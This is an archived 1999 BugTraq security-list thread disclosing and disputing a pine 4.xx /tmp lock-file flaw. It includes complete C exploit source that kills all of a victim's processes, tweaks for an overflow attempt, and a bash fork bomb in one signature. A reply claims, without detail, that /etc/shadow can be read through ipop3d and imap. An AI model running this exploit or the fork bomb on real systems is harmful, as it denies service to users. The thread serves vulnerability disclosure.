Date: Sun, 7 Mar 1999 01:41:25 +0100 From: Michal Zalewski Overflow in pine 4.xx (Linux) pine 4.xx, at least on Linux platform, have serious security hole. When data is read from so-called mailbox lock created in /tmp directory (this happens under certain conditions - please refer exploit code below), it's stored in _too_small_ buffer. It is possible to overwrite some data, and registers as well. For testing purposes, simple exploit code presented below (vunerabilities 3 and 4) could be used - suggested changes: write(i,"-1",2) -> write(i,"(about 1100 b)",1100) truncate(i,2) -> truncate(i,1100); Overflow in pine might be used to gain other lusers' privledges (or, sometimes, root privledges, depending on his stupidity ;-). Solution: you have to look for something like kill(i,SIGUSR2) in sources and modify lines just before it ;> The problem is probably well known, but silently ignored by pine vendors. Unfortunately, it's possible to turn 'mostly harmless feature' in something nasty - following code allows various DoSes by killing all processes of luser (could be root?) every time he/she runs pine or receives mail via POP3 protocol: -- lock-exploit.c -- // Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff. #include #include #include main(int argc,char* argv[]) { int i,a=0; char s[100]; struct stat x; if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0])); sprintf(s,"/var/spool/mail/%s",argv[1]); if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s)); sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino); fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666); while (1) { lseek(i,0,0); write(i,"-1",2); ftruncate(i,2); fsync(i); if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s); else printf("File %s already locked, wait...\n",s); sleep(1); } } -- eof -- Works well under Linux. Under BSD, pine seems to have broken mailbox access negotiation (fortunately ;-). No information about ipop3d. Mainly, this vunerability demonstrates that world-writable mailbox locks in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's 'harmless', while other solutions allows several DoS attacks... huh). _______________________________________________________________________ Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM] [Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};: [voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813] Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch] ----------------------------------------------------------------------------- Date: Fri, 9 Apr 1999 13:09:01 +0200 From: M.C.Mar Reply-To: M.C.Mar To: BUGTRAQ@netspace.org Subject: Re: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight Commander (x2) On Thu, 8 Apr 1999, Mark Crispin wrote: > We thought these claims required a response from us since they contain > misleading information and only about 20% fact. And by the way, we were > not contacted before this post was made to BUGTRAQ, as protocol states. > > The impact is only with the standard UNIX format. > > The buffer overflow claim, and in particular the alleged root compromise, is > bogus. The process is not root when mailboxes are open; nor can it get root > back. He is confused by the SVR4 semantics of UID; the caveat about the > real UID does not apply to root processes doing setuid(). > > The maximum exposure is that one byte of stack frame may be set to zero, > because of a "buf[x] = 0" for a stack buffer of length x. This may cause a > SEGV; more likely it will just clobber a variable that isn't used after that > point in the function anyway. It is not possible to write something else, nor > is it possible to write at any other location. > > In other words, this "buffer overflow" bug is just an ordinary bug. It > doesn't happen unless the software is abused, and even may be totally harmless > depending upon the code that your C compiler generates. It is *NOT* a > security bug in the normal sense. > ALL ABOVE IS TRUE ONLY FOR PINE, NOT FOR PINE COMPOONENTS (as ipop3d or imap, which is also vulnerable to semilocal buffer overflow that allows any user to read /etc/shadow). I tryed to explit pine, ipop3d [POP3 3.3(20) w/IMAP2 client (Comments to MRC@CAC.Washington.EDU)] and imap [IMAP2bis Service 7.8(100)]. 1) I could not execute any code using pine although gdb shows I overwrited stack ret and ip register points to what I want. 2) I could read /etc/shadow exploiting ipop3d. 3) I could read /etc/shadow exploiting imap. > Now, we'll talk about the 20% that is fact. Yes, it is possible to write > a negative process ID in the lock file. This requires that the attacker > have shell access; it can't be mounted remotely. It also requires that > the attacker have a program running at the time that the victim opens his > mail file. > True. > Not only is the program running, but it has the lock file open and locked. In > other words, it's incredibly easy to catch; particularly if you have lsof. > Nor can there be any question of intent when it comes to prosecution. Only an > extremely stupid individual would try it. > It is true only for pine itself, and I think it shoud be fixed at all. -- ___________________________________________________________________________ M.C.Mar An NT server can be run by an idiot, and usually is. emsi@it.pl "If you can't make it good, make it LOOK good." - Bill Gates Moze to nie miejsce, ale tak np. programy M$ to swoiste pomniki glupoty.